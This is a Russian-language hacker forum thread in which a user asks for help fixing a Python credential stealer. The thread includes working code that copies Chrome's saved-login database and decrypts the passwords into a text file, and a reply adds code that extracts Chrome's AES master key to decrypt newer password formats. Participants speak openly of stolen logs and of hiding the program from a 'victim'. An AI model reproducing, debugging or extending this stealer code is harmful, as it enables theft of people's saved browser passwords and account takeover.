вопрос по python стиллеру

momomo

Пользователь
Сообщения
12
У меня выдает ошибку в консоли, но раньше такого не было.
Python:
Код:
def Chrome():
   text = 'Passwords Chrome:' + '\n'
   text += 'URL | LOGIN | PASSWORD' + '\n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != '':
               text += url + ' | ' + login + ' | ' + password + '\n'
   return text
file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+")
file.write(str(Chrome()) + '\n')
file.close()

Не работает именно вот это
file.write(str(Chrome()) + '\n')
Если все это закомментить то просто придут нулевые логи с одним скриншотом. Про геотулс я молчу, ладно, он полетел, а вот тут - хз
Сама ошибка:
py config.py Traceback (most recent call last): File "config.py", line 56, in <module> file.write(str(Chrome()) + '\n') File "config.py", line 49, in Chrome password = win32crypt.CryptUnprotectData(result[2])[1].decode() pywintypes.error: (87, 'CryptProtectData', 'Параметр задан неверно.')

ХОЧУ ПОДМЕТИТЬ, ЧТО ДАННЫЙ СНИФ РАБОТАЛ, А СЕГОДНЯ ОШИБКА

Прошу помочь мне, спасибо заранее!)
 
думаю, это извращение, писать стиллер на питоне
 
у меня пачка из 50 логов на пк, собранные стиллером на питоне и что?
 
я не говорил, что стиллер на питоне не пишется, внимательней читай
 
Ну понятно, что ничего не придет. Ты же комментируешь функцию записи в файл, которая вызывает функцию Chrome(), которая уже берет данные с userdata и декодирует их.
На всех машинах одна проблема или ты только на одной проверял?
Такое чувство, что элемент списка который ты хочешь декодировать просто пустой,ну и собстна из за этого и ошибка, он не может декодировать пустой элемент.
Мож в стилаке есть функция которая после отправки удаляет все сохраненные пароли?
 
В sqlite базе паролей браузера (Login data) находится пароль который начинается либо с большой буквы либо с цифры, так и ломается python
 
А где именно этот фрагмент кода? Мне кажется, что ячейки с паролями пустые, а исключение просто не обработанное.
 
Не работает именно вот это
file.write(str(Chrome()) + '\n')
Если все это закомментить то просто придут нулевые логи с одним скриншотом. Про геотулс я молчу, ладно, он полетел, а вот тут - хз
Сама ошибка:
py config.py Traceback (most recent call last): File "config.py", line 56, in <module> file.write(str(Chrome()) + '\n') File "config.py", line 49, in Chrome password = win32crypt.CryptUnprotectData(result[2])[1].decode() pywintypes.error: (87, 'CryptProtectData', 'Параметр задан неверно.')
ошибка такая же, но мне вообще ничего не приходит. Нашли как её решить?
 
Ладно блять.
Как ты проверяешь работоспособность?
 
Хром какой версии стоит?
 
Ну вот там у тебя в коде.
проверь правильность расположения файла с паролями
 
stackoverflow.com

I have this error pywintypes.error: (87, 'CryptProtectData', 'Paramètre incorrect.') when i'm trying to decrypt chrome password in windows

Here is all of my code,I try to use this to decrypt chrome password in windows. import os import sqlite3 import win32crypt def get_chrome(): data_path = os.path.expanduser('~') + r'\AppData\Lo...
stackoverflow.com
stackoverflow.com

Найден ответ на ваш вопрос, если вы конечно умеете искать
Как я понял голая функция CryptUnprotectData не сойдет
Нужно с начала получить ключ для расшифровки с папки Local State в User Data(да и там нужно еще расшифровывать для получения ключа с помощью библиотеки base64) и еще пару извращений со строкой

Ну даже если так, я бы чуть чуть изменил тот код, который на stackoverflow

def get_master_key(): local_state_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State") with open(local_state_path, "r", encoding="utf-8") as f: local_state = f.read() local_state = json.loads(local_state) master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) master_key = win32crypt.CryptUnprotectData(master_key[5:], None, None, None, 0)[1] return master_key def decrypt_password(buff, master_key): iv = buff[3:15] payload = buff[15:] cipher = AES.new(master, AES.MODE_GCM, iv) decrypted_pass = cipher.decrypt(payload) decrypted_pass = decrypted_pass[:-16].decode() return decrypted_pass
И под конец для основной расшифровки пароля: decrypt_password(encrypted_password, master_key)
Где переменная master_key = get_master_key()
 
Ну по факту, при компиляции этого файла в exe как вы знаете выйдет тяжелый файл
Не подозрительно ли будет для жертвы увидеть этот обьем?
 
Назад
Сверху